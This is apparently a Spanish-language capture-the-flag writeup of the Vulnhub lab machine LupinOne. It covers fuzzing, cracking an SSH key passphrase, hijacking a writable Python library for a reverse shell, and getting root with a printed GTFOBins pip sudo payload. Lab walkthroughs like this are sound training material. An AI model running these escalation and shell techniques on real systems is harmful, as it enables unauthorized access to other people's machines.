Table of Contents
Hack The Box: LupinOne Writeup
Welcome to my detailed writeup of the medium difficulty machine “LupinOne” on Vulnhub. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 192.168.154.132 --ulimit 5000 -g
2192.168.154.132 -> [22,80]
1$ nmap -p22,80 -sCV 192.168.154.132 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 11:24 CEST
3Nmap scan report for 192.168.154.132
4Host is up (0.00025s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
8| ssh-hostkey:
9| 3072 ed:ea:d9:d3:af:19:9c:8e:4e:0f:31:db:f2:5d:12:79 (RSA)
10| 256 bf:9f:a9:93:c5:87:21:a3:6b:6f:9e:e6:87:61:f5:19 (ECDSA)
11|_ 256 ac:18:ec:cc:35:c0:51:f5:6f:47:74:c3:01:95:b4:0f (ED25519)
1280/tcp open http Apache httpd 2.4.48 ((Debian))
13|_http-title: Site doesn't have a title (text/html).
14| http-robots.txt: 1 disallowed entry
15|_/~myfiles
16|_http-server-header: Apache/2.4.48 (Debian)
17MAC Address: 00:0C:29:D7:53:D0 (VMware)
18Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21Nmap done: 1 IP address (1 host up) scanned in 7.32 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 192.168.154.132 -sU --min-rate 5000 -n -Pn -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-26 11:25 CEST
3Nmap scan report for 192.168.154.132
4Host is up (0.00024s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
718818/udp closed unknown
822739/udp closed unknown
926423/udp closed unknown
1026878/udp closed unknown
1127064/udp closed unknown
1227678/udp closed unknown
13MAC Address: 00:0C:29:D7:53:D0 (VMware)
14
15Nmap done: 1 IP address (1 host up) scanned in 0.90 seconds
Como es una máquina de Vulnhub podemos suponer que es una máquina Linux, pero podemos comprobando revisando el TTL al hacer un ping.
1$ ping -c 1 192.168.154.132
2PING 192.168.154.132 (192.168.154.132) 56(84) bytes of data.
364 bytes from 192.168.154.132: icmp_seq=1 ttl=64 time=0.271 ms
4
5--- 192.168.154.132 ping statistics ---
61 packets transmitted, 1 received, 0% packet loss, time 0ms
7rtt min/avg/max/mdev = 0.271/0.271/0.271/0.000 ms
Y efectivamente vemos un TTL de 64 que suele corresponder con máquinas Linux.
Tampoco hay mucho para la intrusión, así que debe de ser por el servicio HTTP.
HTTP Enumeration
whatweb
no reporta nada relevante.
1$ whatweb http://192.168.154.132
2http://192.168.154.132 [200 OK] Apache[2.4.48], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.48 (Debian)], IP[192.168.154.132]
El sitio web se ve así, simplemente es la imagen de la máquina sin nada mas.
Analyzing JPG image
Como la imagen adjunta es una imagen en formato JPG podemos ver si tiene algún metadato (otro tipo de imágenes también las tienen) o si se ha utilizado esteganografía para ocultar algo.
1$ wget http://192.168.154.132/image/arsene_lupin.jpg
2--2024-09-26 11:28:29-- http://192.168.154.132/image/arsene_lupin.jpg
3Connecting to 192.168.154.132:80... connected.
4HTTP request sent, awaiting response... 200 OK
5Length: 132381 (129K) [image/jpeg]
6Saving to: ‘arsene_lupin.jpg’
7
8arsene_lupin.jpg 100%[==========================>] 129,28K --.-KB/s in 0,001s
9
102024-09-26 11:28:29 (150 MB/s) - ‘arsene_lupin.jpg’ saved [132381/132381]
1$ exiftool arsene_lupin.jpg
2ExifTool Version Number : 12.57
3File Name : arsene_lupin.jpg
4Directory : .
5File Size : 132 kB
6File Modification Date/Time : 2021:02:13 10:17:10+01:00
7File Access Date/Time : 2024:09:26 11:28:29+02:00
8File Inode Change Date/Time : 2024:09:26 11:28:29+02:00
9File Permissions : -rw-r--r--
10File Type : PNG
11File Type Extension : png
12MIME Type : image/png
13Image Width : 630
14Image Height : 630
15Bit Depth : 16
16Color Type : RGB
17Compression : Deflate/Inflate
18Filter : Adaptive
19Interlace : Noninterlaced
20Image Size : 630x630
21Megapixels : 0.397
No encontramos ningún metadato interesante.
Y rápidamente nos damos cuenta de que esta imagen realmente es un PNG.
1$ file arsene_lupin.jpg
2arsene_lupin.jpg: PNG image data, 630 x 630, 16-bit/color RGB, non-interlaced
Por lo cual con herramientas como stegseek
no podemos obtener nada.
1$ stegseek -sf arsene_lupin.jpg -wl /usr/share/wordlists/rockyou.txt
2StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
3
4[!] error: the file format of the file "arsene_lupin.jpg" is not supported.
Fuzzing -> Discovering hidden path
Revisando el robots.txt
encontramos algo interesante.
Un poco raro este 404…
Vemos que el error cambia, por lo cual el recurso ~myfiles
si que existe, pero probablemente el index.html
dentro de este directorio contenga el falso 404 que hemos visto anteriormente.
Fuzzeando con feroxbuster
no encontré nada, ningún archivo ni ruta relevante.
Como sabemos que con la virgulilla podemos acceder a algunos recursos, podemos fuzzear por la ruta utilizando la virgulilla.
Para ello vamos a utilizar wfuzz
1$ wfuzz --hc=404 -c -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medi
2um.txt -t 100 http://192.168.154.132/~FUZZ
Y nos encontramos una ruta http://192.168.154.132/~secret/
Nos encontramos una ruta.
Nos podemos fijar que existe el usuario icex64
quiero pensar.
Como dice que el archivo está oculto en algún sitio, podemos probar a fuzzear por nombres de archivos con un .
delante.
Para ello podemos usar wfuzz
otra vez.
1$ wfuzz --hc=404 -c -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 http://192.168.154.132/~secret/.FUZZ
Y me después de un rato me di cuenta de algo extraño. Todas las peticiones que empiecen por ht
devuelven un 403.
Aquí podemos ver que me devuelve un 403.
Y aquí un 404.
Pero esto es normal y es un comportamiento habitual en los servidores web Apache.
Los archivos que comienzan con “.ht” son tratados de manera especial en servidores Apache porque, tradicionalmente, archivos como .htaccess
y .htpasswd
se utilizan para la configuración y gestión de acceso. Para proteger estos archivos críticos, Apache está configurado por defecto para negar el acceso a cualquier archivo que comience con “.ht”. Esto es una medida de seguridad para evitar que se expongan configuraciones o credenciales sensibles.
Entonces probé a fuzzear con extensiones.
Para ello utilicé ffuf
ya que tiene una función para fuzzear también por extensiones que es mas cómoda que la que tiene wfuzz
1$ ffuf -u http://192.168.154.132/~secret/.FUZZ -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -e .txt,.html,.zip,.gz -fc 403,404
Y descubrimos un archivo mysecret.txt
Y vemos una cadena de texto que tiene pinta de ser base64.
id_rsa cracking with ssh2john
+ john
Aunque vemos que al convertirlo desde base64 no es legible.
Tampoco muestra ningún tipo de dato basándose en los magic numbers, así que por aquí no es.
1$ file download.dat
2download.dat: data
Probando uno por uno todos las codificaciones “base”, encontré que el texto es una clave privada codificada en base58.
Al intentar conectarme por SSH como el usuario icex64
me di cuenta de que la clave está protegida por passphrase.
1$ micro id_rsa
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/empire/content]
3└──╼ [★]$ chmod 600 id_rsa
4┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/empire/content]
5└──╼ [★]$ ssh icex64@192.168.154.132 -i id_rsa
6Enter passphrase for key 'id_rsa':
Podemos obtener el hash de la clave privada para intentar crackearlo con ssh2john
1$ ssh2john id_rsa > hash.id_rsa
Podemos intentar crackear el hash con john
pero después de un rato no conseguí nada y no era normal tanto tiempo crackeando para una máquina de dificultad media.
1$ john -w=/usr/share/wordlists/rockyou.txt hash.id_rsa
Leyendo otra vez la nota, decía que había escondido la clave para que no sea crackeada con fasttrack
Buscando que es, me di cuenta de que es un diccionario.
Me descargué ese diccionario.
1$ wget https://raw.githubusercontent.com/drtychai/wordlists/refs/heads/master/fasttrack.txt
2--2024-09-26 12:16:52-- https://raw.githubusercontent.com/drtychai/wordlists/refs/heads/master/fasttrack.txt
3Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.111.133, ...
4Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
5HTTP request sent, awaiting response... 200 OK
6Length: 2015 (2,0K) [text/plain]
7Saving to: ‘fasttrack.txt’
8
9fasttrack.txt 100%[==========================>] 1,97K --.-KB/s in 0s
10
112024-09-26 12:16:52 (22,5 MB/s) - ‘fasttrack.txt’ saved [2015/2015]
Y lo intenté crackear otra vez con john
y esta vez si hubo suerte.
1$ john -w=./fasttrack.txt hash.id_rsa
2Using default input encoding: UTF-8
3Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
4Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
5Cost 2 (iteration count) is 16 for all loaded hashes
6Will run 4 OpenMP threads
7Press 'q' or Ctrl-C to abort, almost any other key for status
8P@55w0rd! (id_rsa)
91g 0:00:00:01 DONE (2024-09-26 12:17) 0.5434g/s 34.78p/s 34.78c/s 34.78C/s Winter2015..password2
10Use the "--show" option to display all of the cracked passwords reliably
11Session completed.
La credencial de la clave privada es P@55w0rd!
Y ahora si que podemos iniciar sesión.
1$ ssh icex64@192.168.154.132 -i id_rsa
2Enter passphrase for key 'id_rsa':
3Linux LupinOne 5.10.0-8-amd64 #1 SMP Debian 5.10.46-5 (2021-09-23) x86_64
4########################################
5Welcome to Empire: Lupin One
6########################################
7Last login: Thu Oct 7 05:41:43 2021 from 192.168.26.4
8icex64@LupinOne:~$ id
9uid=1001(icex64) gid=1001(icex64) groups=1001(icex64)
Y leer la flag de usuario, muy bonita por cierto.
1icex64@LupinOne:~$ cat user.txt
2 ..., ,... ..,. .,, *&@@@@@@@@@@&/. ,,,. .,.. ..., ...,
3 ,,,. .,,, *&@@%%%%%%%%%%%%%%%%%%%%%%%%%%%&@,. ..,, ,,,, ,,,.
4..,. ,.., (@&#%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&%,. ..,, ,... ..
5 .... .@&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ .... .... ,...
6 .,#@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ .,.. ,.,. ...,
7.,,,&%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@#@., .,., .,.. .,
8...@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&@####@*. ..,, .... ,.
9 @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@%#######@% .,., .,., .,.,
10..,,@@%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@@@@@@@@%#######@@, ..,. ,.., ..
11.,,, @@@@@@@@&%%%%%%%%%%%%%&@@@@@@@@@@@@@@@@@@@%%%#####@@, .,,, ,,., .,
12 ..@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%###@@ .,.. ..., ....
13..., .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%#&@. ..., ..., ..
14.... #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%%@. .... .... ..
15 .,.,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%%%%%#@*.,., .,., ..@@@@
16..,. .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%#@@ ..,. ,..*@&&@@.
17.,,. ,.@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%%%%%%%%@@ .,,. .@&&&@( ,,
18 ,.,. .@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&%%%%%%%@@%%&@@@, ,,,@&@@@.,,,
19.... ...#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&%%%%&%,@%%%%%%%#@@@@@%.. ..
20..., ...,@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@&&&&@,*,,@%%%%%%@@@&@%%@.. ..
21 ,,., @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/,***,*,@%%%@@&@@@%%###@ ,,.,
22 .,. @@&&&@@,,/@@@@@@@@@@@@@@@@@@@@@@@@#,,,,,,,,,*,,@%%%@&&@@%%%%%##&* ,...
23.,,, @@&@@&@&@@%,*,*,*,*,***,*,*,***,*,*,*,*,*,*,**,&@%%&@@@&@%%%%%%%%@/., .,
24 /@@&&&&&&&&&&@@*,,,,,,,,,,,,,,,,,,,,,,*,,,**,%@&%%%%@&&&@%%%%%%%%%@( ,..,
25 @&@&@&@&@&@&@&&@@@@@(,*,*,,**,*,*,,,*#&@@&%%%%%%%%&@@@@@%%%%%%%%@&.., .,.,
26@@@&&&&&&&&&&&&&&&&&@@@&&&@@@@&&@@&&@&&&%&%%%%%%%@&&&@&%%%%%%&@,.. ..., ..
27 @&&&@&@&@&@&@&@&@&@&@&@&@&@&&@@@&&&&&&&%&%%%%&@&&@@%%%#&@%.., .,., .,.,
28 @@@@&&&&&&&&&&&&&&&&&&&&&&@&&&&&&&&&&&%%&%@&@&@&@@%.. .... .... ,..,
29.,,, *@@&&&@&@&@&@&@&@&&&&&&&&&&&&&&&&&%&&@@&&@.... ,., .,,, ,,.. .,
30 ,,,, .,%@@@@@@@@@@@@@@@@%, ...,@@&&@(,, ,,,. .,,, ,,., .,,.
31 .,., .,,, .,,. ..,. ,*@@&&@ ,,,, ,.,. .,., .,., .,.,
32..., .... .... ,.. ,..@@@&@#,.. .... ,.. ..., .... ..
33 .... .... ... ....@.,%&@.. .... ... .... .... ....
34 ..., .... .... .*/,...&.,,, .... .... .,.. ..., ...,
35.,., .,., ,,., .,../*,,&,, ,.,, ,.,, .., .,., .,., ,,
36
373mp!r3{I_See_That_You_Manage_To_Get_My_Bunny}
User Pivoting
Detectamos que existe otro usuario llamado arsene
en el sistema.
1icex64@LupinOne:~$ cat /etc/passwd | grep bash
2root:x:0:0:root:/root:/bin/bash
3arsene:x:1000:1000:arsene,,,:/home/arsene:/bin/bash
4icex64:x:1001:1001:,,,:/home/icex64:/bin/bash
Rápidamente detectamos un script en python el cual tenemos permiso de ejecución como el usuario arsene
1icex64@LupinOne:~$ sudo -l
2Matching Defaults entries for icex64 on LupinOne:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5
6User icex64 may run the following commands on LupinOne:
7 (arsene) NOPASSWD: /usr/bin/python3.9 /home/arsene/heist.py
Abusing Missconfigured Python Library
El script es simplemente abrir un sitio web con webbrowser
1import webbrowser
2
3print ("Its not yet ready to get in action")
4
5webbrowser.open("https://empirecybersecurity.co.mz"
No tenemos permisos para modificar este script.
1icex64@LupinOne:~$ ls -la /home/arsene/heist.py
2-rw-r--r-- 1 arsene arsene 118 Oct 4 2021 /home/arsene/heist.py
Vamos a comprobar si tenemos permisos para editar el path
de python
y hacer un library hijacking
1icex64@LupinOne:~$ python3
2Python 3.9.2 (default, Feb 28 2021, 17:03:44)
3[GCC 10.2.1 20210110] on linux
4Type "help", "copyright", "credits" or "license" for more information.
5>>> import sys
6>>> print(sys.path)
7['', '/usr/lib/python39.zip', '/usr/lib/python3.9', '/usr/lib/python3.9/lib-dynload', '/usr/local/lib/python3.9/dist-packages', '/usr/lib/python3/dist-packages']
Y vemos algo raro, una ruta /usr/lib/python39.zip
Vemos que esta ruta no existe en el sistema.
1icex64@LupinOne:~$ ls -la /usr/lib/python39.zip
2ls: cannot access '/usr/lib/python39.zip': No such file or directory
Pero no tengo permisos para crear una carpeta en /usr/lib
1icex64@LupinOne:~$ mkdir /usr/lib/python39.zip
2mkdir: cannot create directory '/usr/lib/python39.zip': Permission denied
Podemos enumerar los archivos en el directorio personal de trabajo de arsene
1icex64@LupinOne:/home/arsene$ ls -la
2total 40
3drwxr-xr-x 3 arsene arsene 4096 Oct 4 2021 .
4drwxr-xr-x 4 root root 4096 Oct 4 2021 ..
5-rw------- 1 arsene arsene 47 Oct 4 2021 .bash_history
6-rw-r--r-- 1 arsene arsene 220 Oct 4 2021 .bash_logout
7-rw-r--r-- 1 arsene arsene 3526 Oct 4 2021 .bashrc
8drwxr-xr-x 3 arsene arsene 4096 Oct 4 2021 .local
9-rw-r--r-- 1 arsene arsene 807 Oct 4 2021 .profile
10-rw------- 1 arsene arsene 67 Oct 4 2021 .secret
11-rw-r--r-- 1 arsene arsene 118 Oct 4 2021 heist.py
12-rw-r--r-- 1 arsene arsene 339 Oct 4 2021 note.txt
Y encontramos una nota.
1icex64@LupinOne:/home/arsene$ cat note.txt
2Hi my friend Icex64,
3
4Can you please help check if my code is secure to run, I need to use for my next heist.
5
6I dont want to anyone else get inside it, because it can compromise my account and find my secret file.
7
8Only you have access to my program, because I know that your account is secure.
9
10See you on the other side.
11
12Arsene Lupin.
Habla de ver si el código no es seguro, blablabla, pero habla de un archivo secreto.
Que es el que tiene en su directorio personal que no podemos abrir.
1icex64@LupinOne:/home/arsene$ cat .secret
2cat: .secret: Permission denied
El archivo pesa 67 bytes por lo cual contiene algo.
Buscando sobre la dependencia de webbrowser
acabé encontrando una cosa interesante.
Y es que tenemos permiso de escritura, por lo cual podemos modificar esta librería e inyectar un código malicioso.
1icex64@LupinOne:/home/arsene$ find / -type f -name "webbrowser*" 2>/dev/null
2/usr/lib/python3.9/webbrowser.py
3/usr/lib/python3.9/__pycache__/webbrowser.cpython-39.pyc
4icex64@LupinOne:/home/arsene$ ls -la /usr/lib/python3.9/webbrowser.py
5-rwxrwxrwx 1 root root 24087 Oct 4 2021 /usr/lib/python3.9/webbrowser.py
Vamos a añadir este código, para que según inicialice esta dependencia se envíe una reverse shell a mi máquina de atacante por el puerto 443.
Ahora con pwncat-cs
me voy a poner en escucha por el puerto 443.
1$ sudo pwncat-cs -lp 443
2
3[12:32:28] Welcome to pwncat 🐈! __main__.py:164
4bound to 0.0.0.0:443 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Ejecuto como arsene
el script.
1icex64@LupinOne:/home/arsene$ sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
2stty: 'standard input': Inappropriate ioctl for device
Y podemos ver que ganamos acceso como arsene
1(remote) arsene@LupinOne:/home/arsene$ id
2uid=1000(arsene) gid=1000(arsene) groups=1000(arsene),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Privilege Escalation
Abusing sudo privilege in pip
La nota contiene una credencial.
1(remote) arsene@LupinOne:/home/arsene$ cat .secret
2I dont like to forget my password "rQ8EE"UK,eV)weg~*nd-`5:{*"j7*Q"
Esta credencial no es de root
, es del propio usuario arsene
1(remote) arsene@LupinOne:/home/arsene$ su root
2Password:
3su: Authentication failure
4(remote) arsene@LupinOne:/home/arsene$ su arsene
5Password:
6arsene@LupinOne:~$
Rápidamente vemos que tenemos permisos para ejecutar como root
el comando pip
1(remote) arsene@LupinOne:/home/arsene$ sudo -l
2Matching Defaults entries for arsene on LupinOne:
3 env_reset, mail_badpass,
4 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
5
6User arsene may run the following commands on LupinOne:
7 (root) NOPASSWD: /usr/bin/pip
Una rápida búsqueda en GTFOBins nos revela que podemos escalar privilegios fácilmente en esta situación.
Simplemente vamos a copiar y a pegar el payload que se nos incluye.
1TF=$(mktemp -d)
2echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
3sudo pip install $TF
1(remote) arsene@LupinOne:/home/arsene$ TF=$(mktemp -d)
2echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
3sudo pip install $TF
4Processing /tmp/tmp.RH0TsNx4x7
5\[\](remote)\[\] \[\]root@LupinOne\[\]:\[\]/tmp/pip-req-build-krphgk6r\[\]$ id
6uid=0(root) gid=0(root) groups=0(root)
La bash se ve un poco mal pero podemos solucionar eso ejecutando una pseudo-consola interactiva con script /dev/null -c bash
1\[\](remote)\[\] \[\]root@LupinOne\[\]:\[\]/tmp/pip-req-build-krphgk6r\[\]$ script /dev/null -c bash
2Script started, output log file is '/dev/null'.
3root@LupinOne:/tmp/pip-req-build-krphgk6r# cd /root/
Y ya podemos leer la flag de root
, muy bonita también.
1root@LupinOne:~# cat root.txt
2*,,,,,,,,,,,,,,,,,,,,,,,,,,,,,(((((((((((((((((((((,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
3, .&&&&&&&&&( /&&&&&&&&&
4, &&&&&&* @&&&&&&
5, *&&&&& &&&&&&
6, &&&&& &&&&&.
7, &&&& ./#%@@&#, &&&&*
8, &%&& &&&&&&&&&&&**,**/&&(&&&&&&&& &&&&
9, &@(& &&&&&&&&&&&&&&&.....,&&*&&&&&&&&&& &&&&
10, .& & &&&&&&&&&&&&&&& &&.&&&&&&&&&& &%&
11, @& & &&&&&&&&&&&&&&& && &&&&&&&&&& @&&&
12, &%(( &&&&&&&&&&&&&&& && &&&&&&&&&& #&&&
13, &#/* &&&&&&&&&&&&&&& && #&&&&&&&&&( (&&&
14, %@ & &&&&&&&&&&&&&&& && ,&&&&&&&&&& /*&/
15, & & &&&&&&&&&&&&&&& &&* &&&&&&&&&& & &
16, & & &&&&&&&&&&&&&&&, &&& &&&&&&&&&&( &,@
17,.& # #&&&&&&&&&&&&&&( &&&.&&&&&&&&&&& & &
18*& & ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &(&
19*& & ,&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& & &
20*& * &&&&&&&&&&&&&&&&&&&@. &&&&&&&& @ &
21*& &&&&&&&&&&&&&&&&&&@ &&&&&/ &&&&&& & &
22*% . &&&&&&&&&&&@&&&&&&& & &&( #&&&& &&&&. % &
23*& * &&&&&&&&&& /* @%&%&&&&&&&& &&&&, @ &
24*& & &&&&&&& & &&&&&&&&&& @&&& & &
25*& & &&&&& / /&&&& &&& & @
26*/(, && & / &.
27* & & &&& # &&&&&& @ & &.
28* .% & &&&%& & @&&&&&&&&&. %@&&* ( @,
29/ & % .&&&& &@ @ &/ @ &
30* & @ &&&&&& &&. , & &
31* & & &&&&&&&&&& & &&&( & & &
32, & % &&&&&&&&&&&&&&&( .&&&&&&& & & &
33, & .. &&&&&&&&&&&&&&&&&&&&&&&&&&&&* & & & &
34, #& & &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &. % &
35, & , &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&. &&&& @ &*
36, & ,, &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&. /&&&&&&&& & &@
37, & & #&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& &&&&&&&@ &. &&
38, && /# /&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&# &&&# &# #&
39, && &( .&&&&&&&&&&&&&&&&&&&&&&&&&&& && &&
40/ ,&&( &&% *&&&&&&&&&&% .&&& /&&,
41, &&&&&/... .#&&&&#
42
433mp!r3{congratulations_you_manage_to_pwn_the_lupin1_box}
44See you on the next heist.
¡Y ya estaría!
Happy Hacking! 🚀
#Vulnhub #LupinOne #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #HTTP Enumeration #Fuzzing #Information Disclosure #Ssh2john #Hash Cracking #Cracking #User Pivoting #Code Injection #Abusing Missconfigured Python Library #Abusing Sudo Privilege